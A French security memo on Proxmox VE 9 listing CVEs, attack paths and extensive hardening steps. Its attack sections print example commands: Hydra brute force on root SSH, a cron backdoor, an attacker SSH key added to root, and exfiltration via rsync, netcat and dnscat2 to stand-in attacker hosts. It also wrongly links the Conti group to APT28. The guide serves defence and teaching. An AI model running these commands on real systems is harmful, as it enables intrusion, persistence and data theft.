Sécurité Proxmox
Mémento : Attaques et Vulnérabilités Proxmox VE 9
🔒 Par Ayi NEDJIMI
Proxmox Virtual Environment (PVE) 9, basé sur Debian Trixie et publié en août 2025, est une plateforme de virtualisation open-source type-1 largement déployée en entreprise. Bien que cette solution présente de nombreux avantages en termes de flexibilité et de coûts, elle demeure exposée à diverses menaces de sécurité.
Ce mémento référence les principales vulnérabilités, les techniques d'attaque, les outils exploités par les sources de risques et les contremesures appropriées pour sécuriser l'infrastructure Proxmox VE 9.
1. Surface d'Attaque et Architecture
1.1. Composants Vulnérables
Proxmox VE 9 présente plusieurs composants potentiellement vulnérables :
| Composant | Description | Risque |
|---|---|---|
| Interface web de gestion | Port 8006 - pveproxy/pvedaemon en Perl | 🔴 Critique |
| API REST | Communications client-serveur via HTTP/TLS | 🔴 Critique |
| Couche SSH | Accès administratif à l'hyperviseur sous-jacent | 🔴 Critique |
| Stockage | NFS, iSCSI, Ceph, LVM, ZFS | 🟠 Élevé |
| Système de sauvegarde | Proxmox Backup Server (PBS) | 🔴 Critique |
| VM et Conteneurs | Exposition latérale | 🟠 Élevé |
| Interfaces matériel | iDRAC, IPMI, ILO | 🔴 Critique |
1.2. Vecteurs d'Attaque Principaux
Les attaquants peuvent cibler Proxmox via plusieurs chemins :
- ✗ Accès non autorisé à l'interface d'administration
- ✗ Exploitation de vulnérabilités des services web
- ✗ Attaques par force brute sur SSH et interface web
- ✗ Compromission des VM/CT avec mouvement latéral vers l'hyperviseur
- ✗ Attaques sur les sauvegardes (ransomware, suppression)
- ✗ Exploitation des APIs mal sécurisées
- ✗ Man-in-the-Middle sur les communications non chiffrées
2. Vulnérabilités Critiques Identifiées
2.1. CVE-2022-35508 : SSRF et Divulgation de Fichiers
CVE-2022-35508 CVSS 9.8 - CRITIQUE
Description : Vulnérabilité SSRF (Server-Side Request Forgery) dans le proxy HTTP entre pve(pmg)proxy et pve(pmg)daemon. Un attaquant disposant d'un compte non privilégié peut forger des requêtes HTTP malveillantes.
| Caractéristique | Détail |
|---|---|
| Score CVSS | 9.8 (Critique) |
| Référence MITRE | CWE-918 / Technique ATT&CK T1190 |
| Correction | Fixé dans pve-http-server 4.1-3 |
| Impact | Lecture arbitraire de fichiers (ex: /etc/shadow), escalade de privilèges vers root@pam, accès aux clés d'authentification de backup |
Chemin d'Attaque (Synthèse)
1. Authentification basique
2. Requête HTTP avec payload SSRF
3. Lecture du fichier de backup tarball
4. Extraction de la clé
5. ➜ Accès administrateur complet
2.2. CVE-2022-31358 : Cross-Site Scripting (XSS) Réfléchi
CVE-2022-31358 CVSS 9.0 - CRITIQUE
Description : XSS réfléchi dans l'interface web antérieure à v7.2-3, exploitable via des endpoints inexistants sous /api2/html/.
| Caractéristique | Détail |
|---|---|
| Score CVSS | 9.0 (Critique) |
| Référence MITRE | CWE-79 / Technique ATT&CK T1189, T1566 (Phishing) |
| Correction | Fixé dans Proxmox VE v7.2-3 |
| Impact | Exécution de scripts JavaScript arbitraires dans le navigateur de l'administrateur, vol de cookies de session, détournement de session |
2.3. Autres Vulnérabilités Notables
| CVE | Score | Description | Correction |
|---|---|---|---|
| CVE-2022-35507 | 7.1 - Élevé | CRLF Injection - DoS côté client ou manipulation de cache web | pve-http-server 4.1-3 |
| XSS Stockées (PVE 8.4) | 8.2 - Élevé | Persistance de code malveillant dans champs de configuration (WebAuthn, U2F, HTTP Proxy) | Mise à jour requise |
| CVE-2024-9486 | 9.8 - Critique | Credentials par défaut (Kubernetes Image Builder) | Désactivation requise |
| 2FA Bypass | Critique | Contournement 2FA (PVE v5.4 à v8.0) | Mise à jour vers PVE 9 |
| Dirty Pipe | CVE-2022-0847 | Escalade de privilèges locale (noyau) | Mise à jour pve-kernel |
| CVE-2024-1086 | Critique | Escalade de privilèges locale (noyau) | Mise à jour pve-kernel |
| Spectre/Meltdown | Élevé | Vulnérabilités matérielles CPU | Vérif: lscpu | grep vulnerabilities |
3. Attaques par Force Brute
3.1. Attaques SSH
⚠️ Technique ATT&CK : T1110.001 - Brute Force: Password Guessing
Outils utilisés : Hydra, Medusa, Ncrack, Patator
Exemple avec Hydra
# Attaque par dictionnaire sur SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 -t 4
Chemin d'Attaque
1. Découverte SSH (scan de port 22)
2. Énumération utilisateurs
3. Attaque dictionnaire/brute force
4. Accès root à l'hyperviseur
5. ➜ Contrôle total de l'infrastructure
3.2. Attaques Interface Web
L'interface web Proxmox impose un délai de 5 secondes en cas d'échec d'authentification.
💡 Technique d'Optimisation
Utilisation de scripts personnalisés avec timeout de 1 seconde pour accélérer l'attaque (facteur 3).
Contremesures
- ✓ Désactivation de l'authentification root par mot de passe
- ✓ Activation de Fail2Ban
- ✓ Limitation de taux (rate limiting) via reverse proxy
4. Attaques sur les Sauvegardes
4.1. Ransomware et Chiffrement des Backups
🔥 Technique ATT&CK : T1486 - Data Encrypted for Impact / T1490 - Inhibit System Recovery
Scénario d'Attaque
1. Compromission d'une VM
2. Mouvement latéral vers l'hyperviseur
3. Accès aux credentials de backup
4. Suppression/chiffrement des sauvegardes (Inhibit System Recovery)
5. Chiffrement des VM en production
6. ➜ Demande de rançon
Outils Ransomware Connus
- 🔴 REvil - Ransomware-as-a-Service
- 🔴 BlackCat (ALPHV) - Ransomware en Rust
- 🔴 LockBit - Gang ransomware actif
- 🔴 Conti - Groupe APT28
4.2. Exfiltration de Données via Backup
⚠️ Technique ATT&CK : T1048 - Exfiltration Over Alternative Protocol
Scénario : Un attaquant ayant accès en lecture aux backups peut exfiltrer des données sensibles.
Outils d'Exfiltration
# Restauration backup Proxmox
proxmox-backup-client restore
# Synchronisation avec serveur externe
rsync -avz /backup/ attacker@external-server:/data/
# Scripts d'extraction automatisés
python3 extract_vm_data.py --backup-dir /mnt/pbs/
5. Outils de Reconnaissance et Énumération
5.1. Scanning et Découverte
Nmap - Scan de Vulnérabilités
# Scan de services Proxmox
nmap -sV -p 8006,22,111,3128,5900-5999 192.168.1.0/24
# Scan avec scripts NSE spécifiques
nmap -sC -sV -p- --script=proxmox* 192.168.1.10
Masscan - Scanner Rapide
# Scan rapide sur large plage d'IPs
masscan -p8006 192.168.0.0/16 --rate=10000
5.2. Énumération Active
📊 Référence ATT&CK : T1087 - Account Discovery
| Outil | Fonction | Commande |
|---|---|---|
| enum4linux | Énumération SMB/CIFS | enum4linux -a 192.168.1.10 |
| CrackMapExec | Suite énumération AD et SMB | crackmapexec smb 192.168.1.0/24 |
| BloodHound | Cartographie chemins d'attaque AD | bloodhound-python -d domain.local |
6. Outils d'Exploitation Post-Compromission
6.1. Mouvement Latéral
🎯 Technique ATT&CK : T1021 - Remote Services
| Outil | Description | Usage |
|---|---|---|
| Metasploit Framework | Framework d'exploitation complet | Modules d'exploitation et post-exploitation |
| Cobalt Strike | Plateforme C2 commerciale | Beacon deployment, pivoting |
| PowerShell Empire | Framework post-exploitation | Agents PowerShell, modules latéral |
| Mimikatz | Extraction credentials Windows | Dump LSASS, Pass-the-Hash |
6.2. Persistance
⚠️ Technique ATT&CK : T1053 - Scheduled Task/Job
Méthodes de Persistance
- 📌 Création de cron jobs malveillants
- 📌 Injection de backdoor dans les images de VM
- 📌 Modification de scripts de démarrage (/etc/rc.local)
- 📌 Ajout de clés SSH autorisées (~/.ssh/authorized_keys)
# Exemple de cron job backdoor
echo "*/5 * * * * /tmp/.hidden/backdoor.sh" | crontab -
# Ajout de clé SSH
echo "ssh-rsa AAAAB3... attacker@host" >> /root/.ssh/authorized_keys
6.3. Exfiltration
🔴 Technique ATT&CK : T1041 - Exfiltration Over C2 Channel
| Outil | Méthode | Exemple |
|---|---|---|
| Rclone | Sync vers cloud storage | rclone sync /data/ remote:exfil/ |
| Netcat/Ncat | Transfert réseau direct | tar czf - /data | nc attacker.com 4444 |
| DNSCat2 | Tunneling DNS | dnscat2 --dns server=attacker.com |
7. Contremesures et Durcissement
7.1. Sécurisation SSH
Configurations Recommandées (/etc/ssh/sshd_config)
# Désactiver la connexion root par mot de passe
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
# Limiter aux utilisateurs autorisés
AllowUsers admin-user
# Sécurité additionnelle
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2
# Protocole et chiffrement
Protocol 2
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
Activation de Fail2Ban
# Installation
apt install fail2ban
# Activation
systemctl enable fail2ban
systemctl start fail2ban
# Configuration dans /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
7.2. Sécurisation Interface Web
🔐 Recommandations Essentielles
| Mesure | Configuration | Impact |
|---|---|---|
| TLS/SSL Fort | TLS 1.3 uniquement, cipher suites sécurisées, HSTS | Protection MITM |
| 2FA | TOTP, WebAuthn (Yubikey) via Datacenter → Permissions | Protection brute force |
| Rate Limiting | Reverse proxy (nginx/haproxy) avec limite requêtes/IP | Protection DoS |
| Whitelist IP | Firewall limitant port 8006 aux IPs admin | Réduction surface d'attaque |
7.3. Gestion des Identités et Accès (RBAC)
Principe du Moindre Privilège
| Rôle Proxmox | Permissions | Usage Recommandé |
|---|---|---|
| PVEAdmin | Administration complète | Admins système uniquement |
| PVEVMAdmin | Gestion VM/CT | Équipes DevOps |
| PVEVMUser | Utilisation VM/CT (console) | Utilisateurs finaux |
| PVEDatastoreUser | Accès lecture stockage | Opérateurs backup |
| PVEAuditor | Lecture seule complète | Audit et monitoring |
API Tokens (Recommandé pour Scripts)
# Créer un token API (GUI : Datacenter → Permissions → API Tokens)
# Ou en CLI :
pveum user token add user@pam backup-token --privsep 0
# Utilisation du token
curl -k -H "Authorization: PVEAPIToken=user@pam!backup-token=UUID" \\
https://proxmox.local:8006/api2/json/nodes
7.4. Pare-feu et Segmentation Réseau
Firewall Proxmox Intégré
Configuration via GUI : Datacenter → Firewall
# Activer le firewall au niveau datacenter
pvesh set /cluster/firewall/options --enable 1
# Activer le firewall sur un nœud
pvesh set /nodes/pve1/firewall/options --enable 1
Segmentation VLAN (Cruciale)
| VLAN | Usage | Subnet Exemple | Sécurité |
|---|---|---|---|
| VLAN 10 | Gestion Proxmox | 10.0.10.0/24 | Isolé, accès restreint |
| VLAN 20 | Production VMs | 10.0.20.0/24 | Firewalled, NAT |
| VLAN 30 | Backup/Stockage | 10.0.30.0/24 | Isolé, pas de route Internet |
| VLAN 99 | Gestion IPMI/iDRAC | 10.0.99.0/24 | Isolation stricte |
Règles Essentielles (Exemple iptables)
# Autoriser uniquement IPs administrateur sur port 8006
iptables -A INPUT -s 10.0.1.0/24 -p tcp --dport 8006 -j ACCEPT
iptables -A INPUT -p tcp --dport 8006 -j DROP
# Autoriser SSH uniquement depuis bastion
iptables -A INPUT -s 10.0.1.100 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
# Bloquer accès inter-VMs sauf autorisation explicite
iptables -A FORWARD -i vmbr1 -o vmbr1 -j DROP
7.5. Mises à Jour et Patch Management
🔴 CRITIQUE : Maintenir le Système à Jour
# Mise à jour complète du système
apt update && apt dist-upgrade -y
# Mise à jour du noyau Proxmox
apt install pve-kernel-6.8
# Vérifier les packages obsolètes
apt list --upgradable
# Redémarrer si nécessaire
reboot
Automatisation avec unattended-upgrades
# Installation
apt install unattended-upgrades
# Configuration dans /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Origins-Pattern {
"origin=Debian,codename=${distro_codename}-security";
"origin=Proxmox";
};
Unattended-Upgrade::Automatic-Reboot "false";
Unattended-Upgrade::Mail "admin@domain.com";
7.6. Sécurisation des Sauvegardes
Proxmox Backup Server (PBS) - Configuration Sécurisée
# Chiffrement Client-Side (AES-256 en mode GCM) - ACTIVÉ PAR DÉFAUT
# La clé de chiffrement est stockée côté client uniquement
# Activer le Protected Mode (Immuabilité)
proxmox-backup-manager datastore update <datastore> --protected true
# Vérifier le statut de protection
proxmox-backup-manager datastore list
Règle 3-2-1 pour Sauvegardes
💾 Stratégie de Sauvegarde Résiliente
- 3 copies des données
- 2 types de média différents
- 1 copie hors-site (off-site)
Tests de Restauration
# Test de restauration mensuel (ESSENTIEL)
# 1. Restaurer une VM de test
qmrestore /path/to/backup.vma.zst 999 --storage local-lvm
# 2. Vérifier l'intégrité
qm start 999
qm guest cmd 999 ping --timeout 10
# 3. Documenter les résultats dans un journal d'audit
7.7. Monitoring et Détection d'Intrusion
Centralisation des Logs (Syslog)
# Configuration rsyslog vers serveur central
# Éditer /etc/rsyslog.conf
*.* @@siem-server.local:514
# Redémarrer rsyslog
systemctl restart rsyslog
Intégration Prometheus + Grafana
# Installer l'exporteur Proxmox
apt install prometheus-pve-exporter
# Configuration dans /etc/prometheus/pve.yml
default:
user: monitoring@pve
password: your_secure_password
verify_ssl: false
# Redémarrer l'exporteur
systemctl restart prometheus-pve-exporter
IDS/IPS - Suricata ou Snort
# Installation Suricata dans une VM dédiée
apt install suricata
# Configuration interface de monitoring
suricata -c /etc/suricata/suricata.yaml -i eth0
# Mise à jour des règles
suricata-update
7.8. Durcissement Général Linux
# Désactivation des services inutiles
systemctl disable avahi-daemon
systemctl disable cups
systemctl stop avahi-daemon cups
# Configuration Kernel Sysctl (sécurité réseau)
cat >> /etc/sysctl.conf <<EOF
# Protection SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
# Désactiver le routage IP (sauf si routeur)
net.ipv4.ip_forward = 0
# Randomization address space
kernel.randomize_va_space = 2
# Protection contre IP spoofing
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
EOF
sysctl -p
# Auditing avec auditd
apt install auditd
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
7.9. Sécurité Physique et Accès Matériel
⚠️ Interfaces de Gestion (iDRAC/IPMI/ILO)
- ✓ Mots de passe forts (20+ caractères)
- ✓ Authentification 2FA activée
- ✓ VLAN de gestion dédié (isolé du réseau production)
- ✓ Désactivation des services inutiles (VNC, HTTP)
- ✓ Mise à jour firmware régulière
Verrouillage Physique
- 🔒 Baies serveur verrouillées avec contrôle d'accès
- 🔒 Vidéosurveillance des salles serveurs
- 🔒 Journaux d'accès physique
7.10. Plan de Réponse aux Incidents
Phases de Gestion d'Incident (NIST SP 800-61)
| Phase | Actions | Outils |
|---|---|---|
| 1. Préparation | Politique, formation, outils, contacts | Runbooks, contacts d'urgence |
| 2. Détection et Analyse | Identification de l'incident, classification | SIEM, IDS, logs |
| 3. Confinement | Isolation du système compromis | Firewall, shutdown VM, snapshot |
| 4. Éradication | Suppression de la menace, patch | Antivirus, réinstallation |
| 5. Récupération | Restauration des services | Backups, rebuild |
| 6. Leçons Apprises | Post-mortem, amélioration | Documentation, amélioration procédures |
8. Outils de Test de Sécurité
8.1. Scanners de Vulnérabilités
| Outil | Type | Usage | Licence |
|---|---|---|---|
| Nessus Professional | Scanner complet | Audit régulier infrastructure | Commercial |
| OpenVAS | Scanner open-source | Alternative gratuite à Nessus | GPL |
| Nuclei | Scanner basé templates | Détection vulnérabilités web | MIT |
| Lynis | Audit système Linux | Hardening check, compliance | GPL |
Exemple Lynis (Audit Système)
# Installation
apt install lynis
# Audit complet
lynis audit system
# Génération rapport
lynis audit system --report-file /root/lynis-report.txt
8.2. Outils de Pentesting Web
| Outil | Fonction | Usage Proxmox |
|---|---|---|
| Burp Suite Professional | Proxy d'interception, scanner | Test interface web, API REST |
| OWASP ZAP | Proxy open-source | Alternative gratuite à Burp |
| SQLMap | Détection/exploitation SQL injection | Test endpoints API |
8.3. Frameworks de Sécurité
- 🛠️ Metasploit Framework - Suite d'exploitation complète
- 🛠️ Social Engineering Toolkit (SET) - Phishing et social engineering
- 🛠️ Empire/Starkiller - Post-exploitation PowerShell/Python
9. Conformité et Normes
9.1. MITRE ATT&CK Framework
Cartographie des techniques d'attaque observées sur Proxmox :
| ID Technique | Nom | Application Proxmox |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Interface web 8006, API REST |
| T1110.001 | Brute Force: Password Guessing | SSH, interface web |
| T1021 | Remote Services | SSH, VNC (via noVNC) |
| T1486 | Data Encrypted for Impact | Ransomware sur VMs/backups |
| T1490 | Inhibit System Recovery | Suppression snapshots/backups |
| T1048 | Exfiltration Over Alternative Protocol | Exfil via backup restore |
9.2. CIS Benchmarks
Recommandations pour Debian Linux et Virtualisation :
- ✓ CIS Debian Linux Benchmark
- ✓ CIS Virtualization Benchmark
- ✓ Téléchargement : cisecurity.org
9.3. NIST Cybersecurity Framework
| Fonction | Application Proxmox |
|---|---|
| Identify | Inventaire assets, évaluation risques |
| Protect | 2FA, firewall, segmentation, durcissement |
| Detect | Monitoring, logs, IDS |
| Respond | Plan de réponse incidents, isolation |
| Recover | Restauration backups, continuité activité |
9.4. Audits de Sécurité
📋 Fréquence Recommandée
- Pentest interne : Trimestriel (tous les 3 mois)
- Pentest externe : Semestriel (tous les 6 mois)
- Audit de configuration : Mensuel
- Revue des logs : Quotidien (automatisé)
10. Ressources et Références
10.1. Documentation Officielle
- 📚 Proxmox VE Documentation - pve.proxmox.com/pve-docs/
- 📚 Proxmox Backup Server Docs - pbs.proxmox.com/docs/
- 📚 Security Advisories - forum.proxmox.com/forums/security-advisories/
10.2. Bases de Données CVE
- 🔍 MITRE CVE - cve.mitre.org
- 🔍 NVD (NIST) - nvd.nist.gov
- 🔍 OpenCVE - opencve.io (alertes personnalisées)
10.3. Outils Open-Source
- 🛡️ Fail2Ban - fail2ban.org
- 🛡️ Wazuh - wazuh.com (SIEM/XDR open-source)
- 🛡️ Suricata - suricata.io (IDS/IPS)
11. Checklist de Sécurisation Proxmox VE 9
A. Gestion des Accès et Authentification (IAM)
B. Durcissement Réseau et Pare-feu
C. Sauvegardes et Résilience
D. Monitoring et Logs
Conclusion
Proxmox VE 9 représente une plateforme de virtualisation puissante et flexible, mais comme toute infrastructure critique, elle nécessite une approche rigoureuse en matière de sécurité.
Les vulnérabilités identifiées, notamment les CVE-2022-35508 (SSRF), CVE-2022-31358 (XSS) et les problématiques de bypass 2FA, démontrent l'importance d'une stratégie de défense en profondeur.
Contremesures Essentielles
- ✓ Maintien à jour systématique du noyau et des packages
- ✓ Durcissement SSH avec clés uniquement et Fail2Ban
- ✓ Authentification multifacteur obligatoire pour tous les comptes admin
- ✓ Segmentation réseau stricte avec VLANs dédiés
- ✓ Sauvegardes 3-2-1 avec chiffrement et immuabilité
- ✓ Monitoring continu avec SIEM et IDS/IPS
- ✓ Tests réguliers de restauration et pentests
L'adoption d'un modèle de sécurité Zero Trust, combinée à une application rigoureuse des principes du moindre privilège et de la défense en profondeur, permettra de réduire significativement la surface d'attaque et d'améliorer la résilience de l'infrastructure Proxmox VE 9 face aux menaces actuelles et émergentes.
⚠️ Rappel Important
La cybersécurité n'est pas un état final mais un processus continu d'amélioration, nécessitant une veille constante sur les nouvelles vulnérabilités, une adaptation aux techniques d'attaque évolutives et une culture de la sécurité partagée par l'ensemble des équipes techniques.
🛡️ Besoin d'un audit de sécurité Proxmox ?
Nos experts en sécurité infrastructure vous accompagnent dans l'audit, le pentest et la remédiation de votre environnement Proxmox VE 9.
Articles connexes
Optimisation Proxmox
optimisation Proxmox VE 9.0 : CPU, mémoire, stockage ZFS/Ceph, réseau, cluster HA. Commandes, recettes par workload et checklist complète.
Évolutions Proxmox
Découvrez les évolutions majeures de Proxmox VE de la version 7 à la version 9 : nouvelles fonctionnalités, améliorations de performance et innovations...
Calculateur Sizing
Ayi NEDJIMI Expert Cybersécurité & IA ...